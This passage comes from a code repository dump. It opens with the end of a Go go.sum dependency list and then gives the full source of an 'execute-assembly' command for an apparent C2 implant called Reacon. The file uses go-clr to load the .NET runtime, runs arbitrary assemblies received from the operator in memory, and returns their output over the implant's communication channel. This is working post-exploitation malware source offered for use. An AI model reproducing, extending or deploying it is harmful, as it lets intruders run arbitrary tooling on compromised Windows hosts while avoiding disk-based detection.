h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= 25 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 26 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= 27 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= 28 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 29 | golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 30 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= 31 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 32 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 33 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= 34 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 35 | golang.org/x/time v0.10.0 h1:3usCWA8tQn0L8+hFJQNgzpWbd89begxN66o1Ojdn5L4= 36 | golang.org/x/time v0.10.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= 37 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 38 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 39 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 40 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 41 | -------------------------------------------------------------------------------- /Reacon_http/pkg/commands/execute-assembly_windows.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "Reacon/pkg/communication" 5 | "crypto/sha256" 6 | "errors" 7 | "fmt" 8 | "github.com/Ne0nd0g/go-clr" 9 | "log" 10 | "strings" 11 | "sync" 12 | "time" 13 | ) 14 | 15 | var ( 16 | clrInstance *CLRInstance 17 | assemblies []*assembly 18 | ) 19 | 20 | type assembly struct { 21 | methodInfo *clr.MethodInfo 22 | hash [32]byte 23 | } 24 | 25 | type CLRInstance struct { 26 | runtimeHost *clr.ICORRuntimeHost 27 | sync.Mutex 28 | } 29 | 30 | func init() { 31 | clrInstance = &CLRInstance{} 32 | assemblies = make([]*assembly, 0) 33 | } 34 | 35 | func (c *CLRInstance) GetRuntimeHost(runtime string, debug bool) *clr.ICORRuntimeHost { 36 | c.Lock() 37 | defer c.Unlock() 38 | if c.runtimeHost == nil { 39 | if debug { 40 | log.Printf("Initializing CLR runtime host") 41 | } 42 | c.runtimeHost, _ = clr.LoadCLR(runtime) 43 | err := clr.RedirectStdoutStderr() 44 | if err != nil { 45 | if debug { 46 | log.Printf("could not redirect stdout/stderr: %v\n", err) 47 | } 48 | } 49 | } 50 | return c.runtimeHost 51 | } 52 | 53 | func addAssembly(methodInfo *clr.MethodInfo, data []byte) { 54 | asmHash := sha256.Sum256(data) 55 | asm := &assembly{methodInfo: methodInfo, hash: asmHash} 56 | assemblies = append(assemblies, asm) 57 | } 58 | 59 | func getAssembly(data []byte) *assembly { 60 | asmHash := sha256.Sum256(data) 61 | for _, asm := range assemblies { 62 | if asm.hash == asmHash { 63 | return asm 64 | } 65 | } 66 | return nil 67 | } 68 | 69 | func LoadBin(data []byte, assemblyArgs []string, runtime string, debug bool) (string, error) { 70 | var ( 71 | methodInfo *clr.MethodInfo 72 | err error 73 | ) 74 | 75 | rtHost := clrInstance.GetRuntimeHost(runtime, debug) 76 | if rtHost == nil { 77 | time.Sleep(time.Second) 78 | rtHost = clrInstance.GetRuntimeHost(runtime, debug) 79 | if rtHost == nil { 80 | return "", errors.New("Could not load CLR runtime host") 81 | } 82 | } 83 | 84 | //time.Sleep(time.Millisecond * 500) 85 | 86 | if asm := getAssembly(data); asm != nil { 87 | methodInfo = asm.methodInfo 88 | } else { 89 | methodInfo, err = clr.LoadAssembly(rtHost, data) 90 | if err != nil { 91 | if debug { 92 | log.Printf("could not load assembly: %v\n", err) 93 | } 94 | return "", err 95 | } 96 | addAssembly(methodInfo, data) 97 | } 98 | if len(assemblyArgs) == 1 && assemblyArgs[0] == "" { 99 | // for methods like Main(String[] args), if we pass an empty string slice 100 | // the clr loader will not pass the argument and look for a method with 101 | // no arguments, which won't work 102 | assemblyArgs = []string{" "} 103 | } 104 | if debug { 105 | log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo) 106 | log.Printf("Calling assembly with args: %+v\n", assemblyArgs) 107 | } 108 | stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs) 109 | if debug { 110 | log.Printf("Got output: %s\n%s\n", stdout, stderr) 111 | } 112 | return fmt.Sprintf("%s\n%s", stdout, stderr), nil 113 | } 114 | 115 | func ExecuteAssembly(sh []byte, arguments string) ([]byte, error) { 116 | 117 | go func() { 118 | debug := true 119 | params := strings.Split(arguments, " ") 120 | stdout, err := LoadBin(sh, params, "v4.8", debug) 121 | if err != nil { 122 | fmt.Printf("[DEBUG] Returned STDOUT/STDERR: \n%s\n", stdout) 123 | communication.ErrorProcess(errors.New(stdout)) 124 | communication.ErrorProcess(err) 125 | return 126 | } 127 | communication.DataProcess(0, []byte(stdout)) 128 | }() 129 | 130 | return []byte("[*] Executing..."), nil 131 | } 132 | --------------------------------------------------------------------------------